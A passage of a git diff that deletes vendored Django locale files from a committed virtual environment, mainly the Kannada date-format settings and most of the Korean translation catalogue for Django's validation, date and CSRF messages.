"Tutorial: A Polling App" -msgstr "" - -msgid "Get started with Django" -msgstr "" - -msgid "Django Community" -msgstr "" - -msgid "Connect, get help, or contribute" -msgstr "" diff --git a/backend/venv/Lib/site-packages/django/conf/locale/kn/__init__.py b/backend/venv/Lib/site-packages/django/conf/locale/kn/__init__.py deleted file mode 100644 index e69de29b..00000000 diff --git a/backend/venv/Lib/site-packages/django/conf/locale/kn/__pycache__/__init__.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/kn/__pycache__/__init__.cpython-311.pyc deleted file mode 100644 index 3a6194a2..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/kn/__pycache__/__init__.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/kn/__pycache__/formats.cpython-311.pyc b/backend/venv/Lib/site-packages/django/conf/locale/kn/__pycache__/formats.cpython-311.pyc deleted file mode 100644 index 3cea62eb..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/kn/__pycache__/formats.cpython-311.pyc and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/kn/formats.py b/backend/venv/Lib/site-packages/django/conf/locale/kn/formats.py deleted file mode 100644 index d212fd52..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/kn/formats.py +++ /dev/null @@ -1,21 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# The *_FORMAT strings use the Django date format syntax, -# see https://docs.djangoproject.com/en/dev/ref/templates/builtins/#date -DATE_FORMAT = "j F Y" -TIME_FORMAT = "h:i A" -# DATETIME_FORMAT = -# YEAR_MONTH_FORMAT = -MONTH_DAY_FORMAT = "j F" -SHORT_DATE_FORMAT = "j M Y" -# SHORT_DATETIME_FORMAT = -# FIRST_DAY_OF_WEEK = - -# The *_INPUT_FORMATS strings use the Python strftime format syntax, -# see https://docs.python.org/library/datetime.html#strftime-strptime-behavior -# DATE_INPUT_FORMATS = -# TIME_INPUT_FORMATS = -# DATETIME_INPUT_FORMATS = -# DECIMAL_SEPARATOR = -# THOUSAND_SEPARATOR = -# NUMBER_GROUPING = diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ko/LC_MESSAGES/django.mo b/backend/venv/Lib/site-packages/django/conf/locale/ko/LC_MESSAGES/django.mo deleted file mode 100644 index 2852e210..00000000 Binary files a/backend/venv/Lib/site-packages/django/conf/locale/ko/LC_MESSAGES/django.mo and /dev/null differ diff --git a/backend/venv/Lib/site-packages/django/conf/locale/ko/LC_MESSAGES/django.po b/backend/venv/Lib/site-packages/django/conf/locale/ko/LC_MESSAGES/django.po deleted file mode 100644 index 852e31c8..00000000 --- a/backend/venv/Lib/site-packages/django/conf/locale/ko/LC_MESSAGES/django.po +++ /dev/null @@ -1,1334 +0,0 @@ -# This file is distributed under the same license as the Django package. -# -# Translators: -# BJ Jang , 2014 -# JunGu Kang , 2017 -# Jiyoon, Ha , 2016 -# darjeeling , 2024 -# DONGHO JEONG , 2020 -# Park Hyunwoo , 2017 -# Geonho Kim / Leo Kim , 2019 -# hoseung2 , 2017 -# Ian Y. Choi , 2015 -# Jaehong Kim , 2011 -# Jannis Leidel , 2011 -# Jay Oh , 2020 -# Le Tartuffe , 2014,2016 -# Jonghwa Seo , 2019 -# Jubeen Lee , 2020 -# JuneHyeon Bae , 2014 -# JunGu Kang , 2015 -# JunGu Kang , 2019 -# Kagami Sascha Rosylight , 2017 -# Mariusz Felisiak , 2021 -# Seho Noh , 2018 -# Seoeun(Sun☀️) Hong, 2023 -# 최소영, 2024 -# Subin Choi , 2016 -# Taesik Yoon , 2015 -# 정훈 이, 2021 -# 김영빈, 2025 -msgid "" -msgstr "" -"Project-Id-Version: django\n" -"Report-Msgid-Bugs-To: \n" -"POT-Creation-Date: 2025-03-19 11:30-0500\n" -"PO-Revision-Date: 2025-04-01 15:04-0500\n" -"Last-Translator: 김영빈, 2025\n" -"Language-Team: Korean (http://app.transifex.com/django/django/language/ko/)\n" -"MIME-Version: 1.0\n" -"Content-Type: text/plain; charset=UTF-8\n" -"Content-Transfer-Encoding: 8bit\n" -"Language: ko\n" -"Plural-Forms: nplurals=1; plural=0;\n" - -msgid "Afrikaans" -msgstr "아프리칸스어" - -msgid "Arabic" -msgstr "아랍어" - -msgid "Algerian Arabic" -msgstr "알제리 아랍어" - -msgid "Asturian" -msgstr "호주어" - -msgid "Azerbaijani" -msgstr "아제르바이잔어" - -msgid "Bulgarian" -msgstr "불가리어" - -msgid "Belarusian" -msgstr "벨라루스어" - -msgid "Bengali" -msgstr "방글라데시어" - -msgid "Breton" -msgstr "브르타뉴어" - -msgid "Bosnian" -msgstr "보스니아어" - -msgid "Catalan" -msgstr "카탈로니아어" - -msgid "Central Kurdish (Sorani)" -msgstr "중부 쿠르드어 (소라니어)" - -msgid "Czech" -msgstr "체코어" - -msgid "Welsh" -msgstr "웨일즈어" - -msgid "Danish" -msgstr "덴마크어" - -msgid "German" -msgstr "독일어" - -msgid "Lower Sorbian" -msgstr "저지 소르브어" - -msgid "Greek" -msgstr "그리스어" - -msgid "English" -msgstr "영어" - -msgid "Australian English" -msgstr "영어(호주)" - -msgid "British English" -msgstr "영어 (영국)" - -msgid "Esperanto" -msgstr "에스페란토어" - -msgid "Spanish" -msgstr "스페인어" - -msgid "Argentinian Spanish" -msgstr "아르헨티나 스페인어" - -msgid "Colombian Spanish" -msgstr "콜롬비아 스페인어" - -msgid "Mexican Spanish" -msgstr "멕시컨 스페인어" - -msgid "Nicaraguan Spanish" -msgstr "니카과라 스페인어" - -msgid "Venezuelan Spanish" -msgstr "베네수엘라 스페인어" - -msgid "Estonian" -msgstr "에스토니아어" - -msgid "Basque" -msgstr "바스크어" - -msgid "Persian" -msgstr "페르시아어" - -msgid "Finnish" -msgstr "핀란드어" - -msgid "French" -msgstr "프랑스어" - -msgid "Frisian" -msgstr "프리슬란트어" - -msgid "Irish" -msgstr "아일랜드어" - -msgid "Scottish Gaelic" -msgstr "스코틀랜드 게일어" - -msgid "Galician" -msgstr "갈리시아어" - -msgid "Hebrew" -msgstr "히브리어" - -msgid "Hindi" -msgstr "힌두어" - -msgid "Croatian" -msgstr "크로아티아어" - -msgid "Upper Sorbian" -msgstr "고지 소르브어" - -msgid "Hungarian" -msgstr "헝가리어" - -msgid "Armenian" -msgstr "아르메니아어" - -msgid "Interlingua" -msgstr "인테르링구아어" - -msgid "Indonesian" -msgstr "인도네시아어" - -msgid "Igbo" -msgstr "이그보어" - -msgid "Ido" -msgstr "이도어" - -msgid "Icelandic" -msgstr "아이슬란드어" - -msgid "Italian" -msgstr "이탈리아어" - -msgid "Japanese" -msgstr "일본어" - -msgid "Georgian" -msgstr "조지아어" - -msgid "Kabyle" -msgstr "커바일어" - -msgid "Kazakh" -msgstr "카자흐어" - -msgid "Khmer" -msgstr "크메르어" - -msgid "Kannada" -msgstr "칸나다어" - -msgid "Korean" -msgstr "한국어" - -msgid "Kyrgyz" -msgstr "키르키즈 공화국어" - -msgid "Luxembourgish" -msgstr "룩셈부르크" - -msgid "Lithuanian" -msgstr "리투아니아어" - -msgid "Latvian" -msgstr "라트비아어" - -msgid "Macedonian" -msgstr "마케도니아어" - -msgid "Malayalam" -msgstr "말라얄람어" - -msgid "Mongolian" -msgstr "몽고어" - -msgid "Marathi" -msgstr "마라티어" - -msgid "Malay" -msgstr "말레이시아어" - -msgid "Burmese" -msgstr "미얀마어" - -msgid "Norwegian Bokmål" -msgstr "노르웨이어(보크몰)" - -msgid "Nepali" -msgstr "네팔어" - -msgid "Dutch" -msgstr "네덜란드어" - -msgid "Norwegian Nynorsk" -msgstr "노르웨이어 (뉘노르스크)" - -msgid "Ossetic" -msgstr "오세티아어" - -msgid "Punjabi" -msgstr "펀자브어" - -msgid "Polish" -msgstr "폴란드어" - -msgid "Portuguese" -msgstr "포르투갈어" - -msgid "Brazilian Portuguese" -msgstr "브라질 포르투갈어" - -msgid "Romanian" -msgstr "루마니아어" - -msgid "Russian" -msgstr "러시아어" - -msgid "Slovak" -msgstr "슬로바키아어" - -msgid "Slovenian" -msgstr "슬로베니아어" - -msgid "Albanian" -msgstr "알바니아어" - -msgid "Serbian" -msgstr "세르비아어" - -msgid "Serbian Latin" -msgstr "세르비아어" - -msgid "Swedish" -msgstr "스웨덴어" - -msgid "Swahili" -msgstr "스와힐리어" - -msgid "Tamil" -msgstr "타밀어" - -msgid "Telugu" -msgstr "텔루구어" - -msgid "Tajik" -msgstr "타지크어" - -msgid "Thai" -msgstr "태국어" - -msgid "Turkmen" -msgstr "튀르크멘어" - -msgid "Turkish" -msgstr "터키어" - -msgid "Tatar" -msgstr "타타르" - -msgid "Udmurt" -msgstr "이제프스크" - -msgid "Uyghur" -msgstr "위구르" - -msgid "Ukrainian" -msgstr "우크라이나어" - -msgid "Urdu" -msgstr "우르드어" - -msgid "Uzbek" -msgstr "우즈베크어" - -msgid "Vietnamese" -msgstr "베트남어" - -msgid "Simplified Chinese" -msgstr "중국어 간체" - -msgid "Traditional Chinese" -msgstr "중국어 번체" - -msgid "Messages" -msgstr "메시지" - -msgid "Site Maps" -msgstr "사이트 맵" - -msgid "Static Files" -msgstr "정적 파일" - -msgid "Syndication" -msgstr "신디케이션" - -#. Translators: String used to replace omitted page numbers in elided page -#. range generated by paginators, e.g. [1, 2, '…', 5, 6, 7, '…', 9, 10]. -msgid "…" -msgstr "..." - -msgid "That page number is not an integer" -msgstr "페이지 번호가 정수가 아닙니다." - -msgid "That page number is less than 1" -msgstr "페이지 번호가 1보다 작습니다." - -msgid "That page contains no results" -msgstr "해당 페이지에 결과가 없습니다." - -msgid "Enter a valid value." -msgstr "올바른 값을 입력하세요." - -msgid "Enter a valid domain name." -msgstr "유효한 도메인 이름을 입력하세요." - -msgid "Enter a valid URL." -msgstr "올바른 URL을 입력하세요." - -msgid "Enter a valid integer." -msgstr "올바른 정수를 입력하세요." - -msgid "Enter a valid email address." -msgstr "올바른 이메일 주소를 입력하세요." - -#. Translators: "letters" means latin letters: a-z and A-Z. -msgid "" -"Enter a valid “slug” consisting of letters, numbers, underscores or hyphens." -msgstr "문자, 숫자, '_', '-'만 가능합니다." - -msgid "" -"Enter a valid “slug” consisting of Unicode letters, numbers, underscores, or " -"hyphens." -msgstr "" -"유니코드 문자, 숫자, 언더스코어 또는 하이픈으로 구성된 올바른 내용을 입력하세" -"요." - -#, python-format -msgid "Enter a valid %(protocol)s address." -msgstr "유효한 %(protocol)s의 주소를 입력하세요." - -msgid "IPv4" -msgstr "IPv4" - -msgid "IPv6" -msgstr "IPv6" - -msgid "IPv4 or IPv6" -msgstr "IPv4 혹은 IPv6" - -msgid "Enter only digits separated by commas." -msgstr "콤마로 구분된 숫자만 입력하세요." - -#, python-format -msgid "Ensure this value is %(limit_value)s (it is %(show_value)s)." -msgstr "" -"%(limit_value)s 안의 값을 입력해 주세요. (입력하신 값은 %(show_value)s입니" -"다.)" - -#, python-format -msgid "Ensure this value is less than or equal to %(limit_value)s." -msgstr "%(limit_value)s 이하의 값을 입력해 주세요." - -#, python-format -msgid "Ensure this value is greater than or equal to %(limit_value)s." -msgstr "%(limit_value)s 이상의 값을 입력해 주세요." - -#, python-format -msgid "Ensure this value is a multiple of step size %(limit_value)s." -msgstr "단계 크기 %(limit_value)s의 배수를 입력해 주세요." - -#, python-format -msgid "" -"Ensure this value is a multiple of step size %(limit_value)s, starting from " -"%(offset)s, e.g. %(offset)s, %(valid_value1)s, %(valid_value2)s, and so on." -msgstr "" -"예를 들어 %(offset)s, %(valid_value1)s, %(valid_value2)s 등, %(offset)s에서 " -"시작하는 %(limit_value)s의 배수를 입력해 주세요." - -#, python-format -msgid "" -"Ensure this value has at least %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at least %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"이 값이 최소 %(limit_value)d 개의 글자인지 확인하세요(입력값 %(show_value)d " -"자)." - -#, python-format -msgid "" -"Ensure this value has at most %(limit_value)d character (it has " -"%(show_value)d)." -msgid_plural "" -"Ensure this value has at most %(limit_value)d characters (it has " -"%(show_value)d)." -msgstr[0] "" -"이 값이 최대 %(limit_value)d 개의 글자인지 확인하세요(입력값 %(show_value)d " -"자)." - -msgid "Enter a number." -msgstr "숫자를 입력하세요." - -#, python-format -msgid "Ensure that there are no more than %(max)s digit in total." -msgid_plural "Ensure that there are no more than %(max)s digits in total." -msgstr[0] "전체 자릿수가 %(max)s 개를 넘지 않도록 해주세요." - -#, python-format -msgid "Ensure that there are no more than %(max)s decimal place." -msgid_plural "Ensure that there are no more than %(max)s decimal places." -msgstr[0] "전체 유효자리 개수가 %(max)s 개를 넘지 않도록 해주세요." - -#, python-format -msgid "" -"Ensure that there are no more than %(max)s digit before the decimal point." -msgid_plural "" -"Ensure that there are no more than %(max)s digits before the decimal point." -msgstr[0] "전체 유효자리 개수가 %(max)s 개를 넘지 않도록 해주세요." - -#, python-format -msgid "" -"File extension “%(extension)s” is not allowed. Allowed extensions are: " -"%(allowed_extensions)s." -msgstr "" -"파일 확장자 '%(extension)s'는 허용되지 않습니다. 허용된 확장자: " -"'%(allowed_extensions)s'." - -msgid "Null characters are not allowed." -msgstr "null 문자는 사용할 수 없습니다. " - -msgid "and" -msgstr "또한" - -#, python-format -msgid "%(model_name)s with this %(field_labels)s already exists." -msgstr "%(model_name)s의 %(field_labels)s 은/는 이미 존재합니다." - -#, python-format -msgid "Constraint “%(name)s” is violated." -msgstr "%(name)s을(를) 위반하였습니다." - -#, python-format -msgid "Value %(value)r is not a valid choice." -msgstr "%(value)r 은/는 올바른 선택사항이 아닙니다." - -msgid "This field cannot be null." -msgstr "이 필드는 null 값을 사용할 수 없습니다. " - -msgid "This field cannot be blank." -msgstr "이 필드는 빈 칸으로 둘 수 없습니다." - -#, python-format -msgid "%(model_name)s with this %(field_label)s already exists." -msgstr "%(model_name)s의 %(field_label)s은/는 이미 존재합니다." - -#. Translators: The 'lookup_type' is one of 'date', 'year' or -#. 'month'. Eg: "Title must be unique for pub_date year" -#, python-format -msgid "" -"%(field_label)s must be unique for %(date_field_label)s %(lookup_type)s." -msgstr "" -"%(field_label)s은/는 반드시 %(date_field_label)s %(lookup_type)s에 대해 유일" -"해야 합니다." - -#, python-format -msgid "Field of type: %(field_type)s" -msgstr "%(field_type)s 형식 필드" - -#, python-format -msgid "“%(value)s” value must be either True or False." -msgstr "'%(value)s' 값은 반드시 True 또는 False 중 하나여야만 합니다." - -#, python-format -msgid "“%(value)s” value must be either True, False, or None." -msgstr "'%(value)s'값은 반드시 True, False, None 중 하나여야만 합니다." - -msgid "Boolean (Either True or False)" -msgstr "boolean(True 또는 False)" - -#, python-format -msgid "String (up to %(max_length)s)" -msgstr "문자열(%(max_length)s 글자까지)" - -msgid "String (unlimited)" -msgstr "문자열 (무제한의)" - -msgid "Comma-separated integers" -msgstr "정수(콤마로 구분)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid date format. It must be in YYYY-MM-DD " -"format." -msgstr "'%(value)s' 값은 날짜 형식이 아닙니다. YYYY-MM-DD 형식이어야 합니다." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD) but it is an invalid " -"date." -msgstr "" -"'%(value)s' 값은 올바른 형식(YYYY-MM-DD)이지만 유효하지 않은 날짜입니다." - -msgid "Date (without time)" -msgstr "날짜(시간 제외)" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in YYYY-MM-DD HH:MM[:ss[." -"uuuuuu]][TZ] format." -msgstr "" -"'%(value)s' 값은 올바르지 않은 형식입니다. YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ] 형식이어야 합니다." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (YYYY-MM-DD HH:MM[:ss[.uuuuuu]]" -"[TZ]) but it is an invalid date/time." -msgstr "" -"'%(value)s' 값은 올바른 형식이지만 (YYYY-MM-DD HH:MM[:ss[.uuuuuu]][TZ]) 유효" -"하지 않은 날짜/시간입니다." - -msgid "Date (with time)" -msgstr "날짜(시간 포함)" - -#, python-format -msgid "“%(value)s” value must be a decimal number." -msgstr "'%(value)s' 값은 10진수를 입력하여야 합니다." - -msgid "Decimal number" -msgstr "10진수" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in [DD] [[HH:]MM:]ss[." -"uuuuuu] format." -msgstr "" -"'%(value)s' 값은 올바르지 않은 형식입니다. [DD] [HH:[MM:]]ss[.uuuuuu] 형식이" -"어야 합니다." - -msgid "Duration" -msgstr "지속시간" - -msgid "Email address" -msgstr "이메일 주소" - -msgid "File path" -msgstr "파일 경로" - -#, python-format -msgid "“%(value)s” value must be a float." -msgstr "\"%(value)s\" 값은 실수를 입력하여야 합니다." - -msgid "Floating point number" -msgstr "부동소수점 숫자" - -#, python-format -msgid "“%(value)s” value must be an integer." -msgstr "\"%(value)s\" 값은 정수를 입력하여야 합니다." - -msgid "Integer" -msgstr "정수" - -msgid "Big (8 byte) integer" -msgstr "큰 정수 (8 byte)" - -msgid "Small integer" -msgstr "작은 정수" - -msgid "IPv4 address" -msgstr "IPv4 주소" - -msgid "IP address" -msgstr "IP 주소" - -#, python-format -msgid "“%(value)s” value must be either None, True or False." -msgstr "\"%(value)s\" 값은 반드시 None, True 또는 False이어야 합니다." - -msgid "Boolean (Either True, False or None)" -msgstr "boolean (True, False 또는 None)" - -msgid "Positive big integer" -msgstr "큰 양의 정수" - -msgid "Positive integer" -msgstr "양의 정수" - -msgid "Positive small integer" -msgstr "작은 양의 정수" - -#, python-format -msgid "Slug (up to %(max_length)s)" -msgstr "슬러그(%(max_length)s 까지)" - -msgid "Text" -msgstr "텍스트" - -#, python-format -msgid "" -"“%(value)s” value has an invalid format. It must be in HH:MM[:ss[.uuuuuu]] " -"format." -msgstr "" -"\"%(value)s\" 값의 형식이 올바르지 않습니다. HH:MM[:ss[.uuuuuu]] 형식이어야 " -"합니다." - -#, python-format -msgid "" -"“%(value)s” value has the correct format (HH:MM[:ss[.uuuuuu]]) but it is an " -"invalid time." -msgstr "" -"\"%(value)s\" 값이 올바른 형식(HH:MM[:ss[.uuuuuu]])이나, 유효하지 않은 시간 " -"값입니다." - -msgid "Time" -msgstr "시각" - -msgid "URL" -msgstr "URL" - -msgid "Raw binary data" -msgstr "Raw binary data" - -#, python-format -msgid "“%(value)s” is not a valid UUID." -msgstr "\"%(value)s\"은 유효하지 않은 UUID입니다." - -msgid "Universally unique identifier" -msgstr "범용 고유 식별 수단(UUID)" - -msgid "File" -msgstr "파일" - -msgid "Image" -msgstr "이미지" - -msgid "A JSON object" -msgstr "JSON 객체" - -msgid "Value must be valid JSON." -msgstr "올바른 JSON 형식이여야 합니다." - -#, python-format -msgid "%(model)s instance with %(field)s %(value)r is not a valid choice." -msgstr "" - -msgid "Foreign Key (type determined by related field)" -msgstr "외래 키 (연관 필드에 의해 형식 결정)" - -msgid "One-to-one relationship" -msgstr "일대일 관계" - -#, python-format -msgid "%(from)s-%(to)s relationship" -msgstr "%(from)s-%(to)s 관계" - -#, python-format -msgid "%(from)s-%(to)s relationships" -msgstr "%(from)s-%(to)s 관계들" - -msgid "Many-to-many relationship" -msgstr "다대다 관계" - -#. Translators: If found as last label character, these punctuation -#. characters will prevent the default label_suffix to be appended to the -#. label -msgid ":?.!" -msgstr ":?.!" - -msgid "This field is required." -msgstr "필수 항목입니다." - -msgid "Enter a whole number." -msgstr "정수를 입력하세요." - -msgid "Enter a valid date." -msgstr "올바른 날짜를 입력하세요." - -msgid "Enter a valid time." -msgstr "올바른 시각을 입력하세요." - -msgid "Enter a valid date/time." -msgstr "올바른 날짜/시각을 입력하세요." - -msgid "Enter a valid duration." -msgstr "올바른 기간을 입력하세요." - -#, python-brace-format -msgid "The number of days must be between {min_days} and {max_days}." -msgstr "날짜는 {min_days}와 {max_days} 사이여야 합니다." - -msgid "No file was submitted. Check the encoding type on the form." -msgstr "등록된 파일이 없습니다. 인코딩 형식을 확인하세요." - -msgid "No file was submitted." -msgstr "파일이 전송되지 않았습니다." - -msgid "The submitted file is empty." -msgstr "입력하신 파일은 빈 파일입니다." - -#, python-format -msgid "Ensure this filename has at most %(max)d character (it has %(length)d)." -msgid_plural "" -"Ensure this filename has at most %(max)d characters (it has %(length)d)." -msgstr[0] "파일이름의 길이가 최대 %(max)d 자인지 확인하세요(%(length)d 자)." - -msgid "Please either submit a file or check the clear checkbox, not both." -msgstr "" -"파일 업로드 또는 삭제 체크박스를 선택하세요. 동시에 둘 다 할 수는 없습니다." - -msgid "" -"Upload a valid image. The file you uploaded was either not an image or a " -"corrupted image." -msgstr "" -"올바른 이미지를 업로드하세요. 업로드하신 파일은 이미지 파일이 아니거나 파일" -"이 깨져 있습니다." - -#, python-format -msgid "Select a valid choice. %(value)s is not one of the available choices." -msgstr "올바르게 선택해 주세요. %(value)s 이/가 선택가능항목에 없습니다." - -msgid "Enter a list of values." -msgstr "리스트를 입력하세요." - -msgid "Enter a complete value." -msgstr "완전한 값을 입력하세요." - -msgid "Enter a valid UUID." -msgstr "올바른 UUID를 입력하세요." - -msgid "Enter a valid JSON." -msgstr "올바른 JSON을 입력하세요." - -#. Translators: This is the default suffix added to form field labels -msgid ":" -msgstr ":" - -#, python-format -msgid "(Hidden field %(name)s) %(error)s" -msgstr "(%(name)s hidden 필드) %(error)s" - -#, python-format -msgid "" -"ManagementForm data is missing or has been tampered with. Missing fields: " -"%(field_names)s. You may need to file a bug report if the issue persists." -msgstr "" -"ManagementForm 데이터가 없거나 변경되었습니다. 현재 없는 필드: " -"%(field_names)s. 이런 이슈가 지속된다면 버그 리포트를 제출해주시기 바랍니다." - -#, python-format -msgid "Please submit at most %(num)d form." -msgid_plural "Please submit at most %(num)d forms." -msgstr[0] "최대 %(num)d개의 양식을 제출하세요." - -#, python-format -msgid "Please submit at least %(num)d form." -msgid_plural "Please submit at least %(num)d forms." -msgstr[0] "최소 %(num)d개의 양식을 제출하세요." - -msgid "Order" -msgstr "순서:" - -msgid "Delete" -msgstr "삭제" - -#, python-format -msgid "Please correct the duplicate data for %(field)s." -msgstr "%(field)s의 중복된 데이터를 고쳐주세요." - -#, python-format -msgid "Please correct the duplicate data for %(field)s, which must be unique." -msgstr "%(field)s의 중복된 데이터를 고쳐주세요. 유일한 값이어야 합니다." - -#, python-format -msgid "" -"Please correct the duplicate data for %(field_name)s which must be unique " -"for the %(lookup)s in %(date_field)s." -msgstr "" -"%(field_name)s의 값은 %(date_field)s의 %(lookup)s에 대해 유일해야 합니다. 중" -"복된 데이터를 고쳐주세요." - -msgid "Please correct the duplicate values below." -msgstr "아래의 중복된 값들을 고쳐주세요." - -msgid "The inline value did not match the parent instance." -msgstr "Inline 값이 부모 인스턴스와 일치하지 않습니다." - -msgid "Select a valid choice. That choice is not one of the available choices." -msgstr "올바르게 선택해 주세요. 선택하신 것이 선택가능항목에 없습니다." - -#, python-format -msgid "“%(pk)s” is not a valid value." -msgstr "\"%(pk)s\" 은/는 유효한 값이 아닙니다." - -#, python-format -msgid "" -"%(datetime)s couldn’t be interpreted in time zone %(current_timezone)s; it " -"may be ambiguous or it may not exist." -msgstr "" -"%(datetime)s 은/는 %(current_timezone)s 시간대에서 해석될 수 없습니다; 정보" -"가 모호하거나 존재하지 않을 수 있습니다." - -msgid "Clear" -msgstr "취소" - -msgid "Currently" -msgstr "현재" - -msgid "Change" -msgstr "변경" - -msgid "Unknown" -msgstr "알 수 없습니다." - -msgid "Yes" -msgstr "예" - -msgid "No" -msgstr "아니오" - -#. Translators: Please do not add spaces around commas. -msgid "yes,no,maybe" -msgstr "예,아니오,아마도" - -#, python-format -msgid "%(size)d byte" -msgid_plural "%(size)d bytes" -msgstr[0] "%(size)d 바이트" - -#, python-format -msgid "%s KB" -msgstr "%s KB" - -#, python-format -msgid "%s MB" -msgstr "%s MB" - -#, python-format -msgid "%s GB" -msgstr "%s GB" - -#, python-format -msgid "%s TB" -msgstr "%s TB" - -#, python-format -msgid "%s PB" -msgstr "%s PB" - -msgid "p.m." -msgstr "오후" - -msgid "a.m." -msgstr "오전" - -msgid "PM" -msgstr "오후" - -msgid "AM" -msgstr "오전" - -msgid "midnight" -msgstr "자정" - -msgid "noon" -msgstr "정오" - -msgid "Monday" -msgstr "월요일" - -msgid "Tuesday" -msgstr "화요일" - -msgid "Wednesday" -msgstr "수요일" - -msgid "Thursday" -msgstr "목요일" - -msgid "Friday" -msgstr "금요일" - -msgid "Saturday" -msgstr "토요일" - -msgid "Sunday" -msgstr "일요일" - -msgid "Mon" -msgstr "월요일" - -msgid "Tue" -msgstr "화요일" - -msgid "Wed" -msgstr "수요일" - -msgid "Thu" -msgstr "목요일" - -msgid "Fri" -msgstr "금요일" - -msgid "Sat" -msgstr "토요일" - -msgid "Sun" -msgstr "일요일" - -msgid "January" -msgstr "1월" - -msgid "February" -msgstr "2월" - -msgid "March" -msgstr "3월" - -msgid "April" -msgstr "4월" - -msgid "May" -msgstr "5월" - -msgid "June" -msgstr "6월" - -msgid "July" -msgstr "7월" - -msgid "August" -msgstr "8월" - -msgid "September" -msgstr "9월" - -msgid "October" -msgstr "10월" - -msgid "November" -msgstr "11월" - -msgid "December" -msgstr "12월" - -msgid "jan" -msgstr "1월" - -msgid "feb" -msgstr "2월" - -msgid "mar" -msgstr "3월" - -msgid "apr" -msgstr "4월" - -msgid "may" -msgstr "5월" - -msgid "jun" -msgstr "6월" - -msgid "jul" -msgstr "7월" - -msgid "aug" -msgstr "8월" - -msgid "sep" -msgstr "9월" - -msgid "oct" -msgstr "10월" - -msgid "nov" -msgstr "11월" - -msgid "dec" -msgstr "12월" - -msgctxt "abbrev. month" -msgid "Jan." -msgstr "1월" - -msgctxt "abbrev. month" -msgid "Feb." -msgstr "2월" - -msgctxt "abbrev. month" -msgid "March" -msgstr "3월" - -msgctxt "abbrev. month" -msgid "April" -msgstr "4월" - -msgctxt "abbrev. month" -msgid "May" -msgstr "5월" - -msgctxt "abbrev. month" -msgid "June" -msgstr "6월" - -msgctxt "abbrev. month" -msgid "July" -msgstr "7월" - -msgctxt "abbrev. month" -msgid "Aug." -msgstr "8월" - -msgctxt "abbrev. month" -msgid "Sept." -msgstr "9월" - -msgctxt "abbrev. month" -msgid "Oct." -msgstr "10월" - -msgctxt "abbrev. month" -msgid "Nov." -msgstr "11월" - -msgctxt "abbrev. month" -msgid "Dec." -msgstr "12월" - -msgctxt "alt. month" -msgid "January" -msgstr "1월" - -msgctxt "alt. month" -msgid "February" -msgstr "2월" - -msgctxt "alt. month" -msgid "March" -msgstr "3월" - -msgctxt "alt. month" -msgid "April" -msgstr "4월" - -msgctxt "alt. month" -msgid "May" -msgstr "5월" - -msgctxt "alt. month" -msgid "June" -msgstr "6월" - -msgctxt "alt. month" -msgid "July" -msgstr "7월" - -msgctxt "alt. month" -msgid "August" -msgstr "8월" - -msgctxt "alt. month" -msgid "September" -msgstr "9월" - -msgctxt "alt. month" -msgid "October" -msgstr "10월" - -msgctxt "alt. month" -msgid "November" -msgstr "11월" - -msgctxt "alt. month" -msgid "December" -msgstr "12월" - -msgid "This is not a valid IPv6 address." -msgstr "올바른 IPv6 주소가 아닙니다." - -#, python-format -msgctxt "String to return when truncating text" -msgid "%(truncated_text)s…" -msgstr "%(truncated_text)s…" - -msgid "or" -msgstr "또는" - -#. Translators: This string is used as a separator between list elements -msgid ", " -msgstr ", " - -#, python-format -msgid "%(num)d year" -msgid_plural "%(num)d years" -msgstr[0] "%(num)d년" - -#, python-format -msgid "%(num)d month" -msgid_plural "%(num)d months" -msgstr[0] "%(num)d개월" - -#, python-format -msgid "%(num)d week" -msgid_plural "%(num)d weeks" -msgstr[0] "%(num)d주" - -#, python-format -msgid "%(num)d day" -msgid_plural "%(num)d days" -msgstr[0] "%(num)d일" - -#, python-format -msgid "%(num)d hour" -msgid_plural "%(num)d hours" -msgstr[0] "%(num)d시간" - -#, python-format -msgid "%(num)d minute" -msgid_plural "%(num)d minutes" -msgstr[0] "%(num)d분" - -msgid "Forbidden" -msgstr "Forbidden" - -msgid "CSRF verification failed. Request aborted." -msgstr "CSRF 검증에 실패했습니다. 요청을 중단하였습니다." - -msgid "" -"You are seeing this message because this HTTPS site requires a “Referer " -"header” to be sent by your web browser, but none was sent. This header is " -"required for security reasons, to ensure that your browser is not being " -"hijacked by third parties." -msgstr "" -"이 메세지가 보이는 이유는 이 HTTPS 사이트가 당신의 웹 브라우저로부터 \"참조 " -"헤더\"를 요구하지만, 아무것도 받기 못하였기 때문입니다. 이 헤더는 보안상의 이" -"유로 필요하며, 당신의 웹 브라우저가 제3자에 의해 해킹당하고 있지 않다는 것을 " -"보장하기 위함입니다." - -msgid "" -"If you have configured your browser to disable “Referer” headers, please re-" -"enable them, at least for this site, or for HTTPS connections, or for “same-" -"origin” requests." -msgstr "" -"만약 브라우저 설정에서 '참조' 헤더를 비활성화 시켰을 경우, 적어도 이 사이트" -"나 HTTPS 연결, '동일-출처' 요청에 대해서는 이를 다시 활성화 시키십시오. " - -msgid "" -"If you are using the tag or " -"including the “Referrer-Policy: no-referrer” header, please remove them. The " -"CSRF protection requires the “Referer” header to do strict referer checking. " -"If you’re concerned about privacy, use alternatives like for links to third-party sites." -msgstr "" -"태그나 'Referrer-Policy: no-" -"referrer' 헤더를 포함하고 있다면, 제거해주시기 바랍니다. CSRF 방지를 위한 리" -"퍼러 검사를 위해 'Referer' 헤더가 필요합니다. 개인 정보에 대해 우려가 있는 경" -"우, 서드 파티 사이트에 대한 링크에 와 같은 대안을 사" -"용할 수 있습니다." - -msgid "" -"You are seeing this message because this site requires a CSRF cookie when " -"submitting forms. This cookie is required for security reasons, to ensure " -"that your browser is not being hijacked by third parties." -msgstr "" 